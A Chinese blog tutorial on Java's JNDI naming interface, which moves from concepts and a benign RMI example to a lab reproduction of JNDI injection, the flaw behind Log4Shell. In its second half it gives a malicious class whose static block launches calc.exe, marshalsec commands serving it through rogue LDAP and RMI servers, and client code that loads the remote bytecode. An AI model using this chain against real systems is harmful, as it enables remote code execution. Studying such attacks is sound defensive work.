摘要
继上一篇博文介绍JDK类加载机制,本文主要讲解类加载机制-双亲委派模型的破坏场景-JNDI技术。
JNDI介绍
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过它来访问不同的服务提供者接口-JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。两者之间的关键差别是目录服务中对象不但可以有名称还可以有属性(例如,用户有email地址),而命名服务中对象没有属性。
JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。
JNDI可访问的现有的目录及服务有: DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
命名服务的相关概念:
Naming Service 命名服务
命名服务将名称和对象进行关联,提供通过名称找到对象的操作。
例如:DNS系统将计算机名和IP地址进行关联。文件系统将文件名和文件句柄进行关联等等。
Name 名称
要在命名系统中查找对象,需要提供对象的名称。对象的名称是用来标识该对象的易于人理解的名称。
例如:文件系统用文件名来标识文件对象。DNS系统用机器名来表示IP地址。
Binding 绑定
一个名称和一个对象的关联称为一个绑定。
例如:文件系统中,文件名绑定到文件。DNS系统中,机器名绑定到IP地址。
Reference 引用
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
Context 上下文
一个上下文是一系列名称和对象的绑定的集合。一个上下文通常提供一个lookup操作来返回对象,也可能提供绑定,解除绑定,列举绑定名等操作。
核心组件:
1、Javax.naming:包含了访问命名服务的类和接口。例如,它定义了Context接口,这是命名服务执行查询的入口。
2、Javax.naming.directory:对命名包的扩充,提供了访问目录服务的类和接口。例如,它为属性增加了新的类,提供了表示目录上下文的DirContext接口,定义了检查和更新目录对象的属性的方法。
3、Javax.naming.event:提供了对访问命名和目录服务时的事件通知的支持。例如,定义了NamingEvent类,这个类用来表示命名/目录服务产生的事件,定义了侦听NamingEvents的NamingListener接口。
4、Javax.naming.ldap:这个包提供了对LDAP 版本3扩充的操作和控制的支持,通用包javax.naming.directory没有包含这些操作和控制。
5、Javax.naming.spi:这个包提供了一个方法,通过javax.naming和有关包动态增加对访问命名和目录服务的支持。这个包是为有兴趣创建服务提供者的开发者提供的。
核心架构
JNDI+RMI的案例(1)
服务接口
public interface Hello extends java.rmi.Remote {
String sayHello(String from) throws java.rmi.RemoteException;
}
服务实现
package jdk.jndi;
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements Hello {
public HelloImpl() throws java.rmi.RemoteException {
super();
}
@Override
public String sayHello(String from) {
System.out.println("Hello from " + from + "!!");
return "sayHello";
}
}
服务端注册
package jdk.jndi;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class HelloServer {
public static void main(String[] args) throws RemoteException, NamingException {
LocateRegistry.createRegistry(1099);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
InitialContext context = new InitialContext();
context.bind("java:hello", new HelloImpl());
context.close();
}
}
远程客户端
package jdk.jndi;
import java.rmi.RemoteException;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class HelloClient {
public static void main(String[] args) throws NamingException, RemoteException {
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
InitialContext context = new InitialContext();
Hello rmiObject = (Hello)context.lookup("java:hello");
System.out.println(rmiObject.sayHello("world"));
context.close();
}
}
需要说明的是:JNDI的模式,利用不好很容易遭到被攻击!
例如,Log4j2的JNDI注入漏洞(CVE-2021-44228)、fastjson序列化反序列化漏洞;都利用了JDK JNDI底层加载远程字节码的特点!攻击者则编写带有攻击性的字节码,用于攻击!而JDK加载字节码后续动作,初始化会触发静态代码块的执行!往往攻击源就存放在静态代码里!
JNDI+LAPD的案例(模拟JNDI-LAPD攻击)
此处使用开源工具:marshalsec来模拟LAPD.
1、http服务器准备(httpd)
2、编写Class,并放在http服务器
文件代码:
import java.io.IOException;
public class Exp implements Ex{
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void print(){
System.out.println(1231);
}
public static void main(String[] args) {
new Exp().print();
}
}
3、marshalsec环境准备
下载:
git clone https://github.com/mbechler/marshalsec
编译:
mvn clean package -DskipTests
4、marshalsec启动LADP服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.29.133/#Exp 1099
5、编写JNDI客户端模拟调用
package jdk;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class clinet {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context ctx = new InitialContext();
ctx.lookup("ladp://localhost:1099/Exp");
}
}
6、运行客户端效果
JNDI+RMI的案例(模拟JNDI-RMI攻击)
前三个步骤和上面一样,最后两个步骤需要修改
4、marshalsec启动RMI服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.29.133/#Exp 1099
5、编写JNDI客户端模拟调用
package jdk;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class clinet {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:1099/Exp");
System.out.println("22");
}
}